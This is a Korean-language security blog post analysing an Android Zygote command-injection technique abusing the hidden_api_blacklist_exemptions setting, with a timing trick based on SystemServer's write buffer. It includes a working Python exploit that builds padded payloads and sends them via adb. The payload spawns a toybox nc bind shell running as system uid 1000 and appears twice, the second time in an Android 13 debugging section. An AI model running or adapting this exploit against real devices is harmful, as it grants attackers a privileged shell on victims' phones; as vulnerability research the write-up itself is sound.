하지만 막상 시도해보면 잘 트리거가 안되는 것을 알 수 있는데(가끔 되긴될것임), SystemServer에서 명령어를 write 할때 Writer의 버퍼크기가 8192byte로 정해져있어서 12200byte를 전송해도 8192byte와 나머지로 나눠지기 때문이다. 운이좋게 두번의 write 동안 ZygoteServer가 read를 한번 하게되면 의도한대로 동작할 것이다.

  • write = 버퍼에 담아두고 8192byte가 되면 전송
  • flush = 8192byte가 되지 않아도 전송
 1private static class ZygoteState implements AutoCloseable {
 2    final BufferedWriter mZygoteOutputWriter;
 3}
 4public BufferedWriter(Writer out) {
 5    // writer, size
 6    this(out, 8192);
 7}
 8
 9private boolean maybeSetApiDenylistExemptions(ZygoteState state, boolean sendIfEmpty) {
10    state.mZygoteOutputWriter.write(Integer.toString(mApiDenylistExemptions.size() + 1));
11    state.mZygoteOutputWriter.newLine();
12    state.mZygoteOutputWriter.write("--set-api-denylist-exemptions");
13    state.mZygoteOutputWriter.newLine();
14    for (int i = 0; i < mApiDenylistExemptions.size(); ++i) {
15        state.mZygoteOutputWriter.write(mApiDenylistExemptions.get(i));
16        state.mZygoteOutputWriter.newLine();
17    }
18    state.mZygoteOutputWriter.flush();
19}

두번째 아이디어. 전송 타이밍 이용하기 #

메타 레드팀은 Writer 버퍼를 이용해서 타이밍을 컨트롤하는 방향으로 진행했다.

  • SystemServer는 ,를 기준으로 자르고 최대 8192byte 단위로 전송한다.
  • ZygoteServer는 한번에 최대 12200byte를 읽어오고 개행을 기준으로 읽는다.

우리가 보내야되는 데이터가 8192byte를 넘기기 때문에 처음 전송하는건 8192byte가 될것이고, ZygoteServer는 read 한번에 소켓의 데이터를 읽어올 것이다.

그렇기 때문에 8192byte 이후 데이터에는 공격 payload를 둬야한다. 하지만 그냥 그렇게만 한다면 운좋게(?) 두번의 write일때 한번의 read를 하는 경우엔 함께 딸려들어가서 실패하는 아까와 반대되는 상황이 발생한다.

메타에서는 두번째 write를 아주늦게 실행하도록 만들어서 두 명령어를 따로 보내는 시도를 했다. 아래는 데이터 구조를 간소화한 예시이다.

  1. hidden_api를 세팅할때 전달된 인자
     1
     2
     3
     4
     5
     6AAAAAAAAAAAAAAAAAAAAAAAAAAA3
     7--some
     8--malicious
     9command
    10,,,,X
    
  2. 파싱 후 리스트상태
    comma 기준으로 구분되기 때문에 5개의 인자를 전달한다. 각 인자는 전송되며 개행이 포함된다.
    1[
    2"\n\n\n\n\nAAAAAAAAAAAAAAAAAAAAAAAAAAA3\n--some\n--malicious\ncommand\n",
    3"",
    4"",
    5"",
    6"X",
    7]
    
  3. ZygoteServer로 전달되는 명령어
    ZygoteServer는 개행 기준으로 나뉘기 때문에 원래 나눠진 파라미터, 악의적으로 포함된 개행 모두 각각의 파라미터로 인식한다.
     16                              [명령어 1 + hidden_api 5]
     2--set-api-denylist-exemptions  [hidden_api 세팅할때 보내지는 파라미터]
     3                               [hidden_api 파라미터 시작 #1]
     4
     5
     6
     7                               [ZygoteServer에서는 여기까지 읽고 나머진 버림]
     8AAAAAAAAAAAAAAAAAAAAAAAAAAA3   [버퍼에 의해 A패딩까지만 send]
     9--some                         [args #1-#3: malicious command]
    10--malicious
    11command                        [여기까지 hidden_api #1]
    12                               [이후 #2부터 ZygoteServer가 나머지 버림]
    13
    14
    15
    16X                              [hidden_api #5]
    

hidden_api 파라미터 #1 에 두 명령어가 모두 포함되어 있지만, ZygoteServer에 따로 보내져야한다.

두번째 명령의 argc 위치는 write 버퍼 바로앞에서 짤리게 해야하고, SystemServer가 콤마 단위로 스플릿해서 반복문 안에서 write하며 버퍼링하기 때문에 버퍼링하는 시간을 벌어 ZygoteServer가 처음보낸 명령을 처리할 시간을 줘야한다.

SystemServer에서 첫번째 명령의 argc와 –set-api… 는 컨트롤할 수 없는데, ZygoteServer도 개행단위로 argc만큼 읽고 나머진 버리니까 #1에 포함된 개행이 argc보다만 많으면 될것이다.

 1def exp(sdk):
 2    payload  = """11
 3--runtime-args
 4--setuid=1000
 5--setgid=1000
 6--setgroups=3003
 7--seinfo=platform:su:targetSdkVersion=29:complete
 8--runtime-flags=43267
 9--invoke-with
10/system/bin/sh -c 'toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;'
11--instruction-set=arm
12--app-data-dir=/data/
13android.app.ActivityThread""" #.format(uid, gid, sdk, pkg).strip()
14    print("payload_b:", len(payload))
15    
16    hiddenapi_command_len = len("4097\n--set-api-denylist-exemptions\n")  # 35
17    print(hiddenapi_command_len)
18    aos12_max_command_bytes = 12200
19    aos13_max_command_bytes = 32768
20    max_writer_bytes = 8192
21
22    if int(sdk) > 30:
23        # 시간을 벌만큼 comma 수를 지정해주고 나머지를 계산하면 된다.
24        # \n은 comma 수 보다 많게, A는 컨트롤 불가한 명령과 \n을 포함해서 write버퍼를 채우면된다. 
25        lenOfComma = 0xFA3 - len(payload)
26        countOfA = 0x1039 + len(payload)
27        lenOfEnters = (0x2000-hiddenapi_command_len) - countOfA
28        print(lenOfComma, ", ", countOfA, ", ", lenOfEnters) 
29        payload_all = "\n"*lenOfEnters + "A"*countOfA + payload + ","*lenOfComma + "X"
30    else:
31        payload_all = "LClass1;->method1(\n"+payload
32    cmd(["./adb.exe", "shell", "settings", "put", "global", "hidden_api_blacklist_exemptions", f"\"{payload_all}\"\n"])

세번째 아이디어 #

갑자기 든 생각이다. 8192byte, 12200byte 양쪽에 payload를 넣는건 어떨까? write 두번에 read 한번, write한번에 read 한번 이런 경우밖에 없는 것 같은데 양쪽에 payload를 넣으면 ZygoteServer가 늦게읽는다면 12200byte 이후의 명령을 따로 처리할 것이고, 일찍 읽는다면 8192byte 이후 명령을 따로 처리할 것이다.

adb로 명령을 보내려고 시도해봤지만, 너무 큰 byte는 윈도우의 커맨드버퍼 크기 때문에 보낼 수 없었기 때문에 설정을 변경하거나 쉘 스크립트로 만들어서 adb 내부에서 직접 실행해야할 것 같다.


AOS13의 에러 디버깅 #

AOS13 에서 테스트를 진행하던 중 당연히 실행되어야하는 명령이 실행되지 않아서 여러 테스트를 해봤다.

테스트한 명령어는 11에서 사용한 명령어를 그대로 사용했다.

취약점을 사용하는 것이 실패하는 경우엔 hidden_api 명령으로 인식되어 세팅에 실패했다는 에러가 발생한다.

072a2d1d-942f-4e7e-8446-1c1da9b6a95b

하지만 발생한 에러는 zygote64 코드에서 selinux의 context가 null 이라는 에러가 발생하고 있었다.

95cc594f-aa6c-4e64-9da3-2a08137759f2

인자 순서를 변경하다보니 아래 순서로 동작하는 것을 확인했고, AOS 프레임워크가 업데이트되면서 인자 순서를 잘못 인식해서 파싱하는 버그가 있는 것으로 판단된다.

 111
 2--runtime-args
 3--setuid=1000
 4--setgid=1000
 5--setgroups=3003
 6--seinfo=platform:su:targetSdkVersion=29:complete
 7--runtime-flags=43267
 8--invoke-with
 9/system/bin/sh -c 'toybox nc -s 127.0.0.1 -p 1234 -L /system/bin/sh -l;'
10--instruction-set=arm
11--app-data-dir=/data/
12android.app.ActivityThread
comments powered by Disqus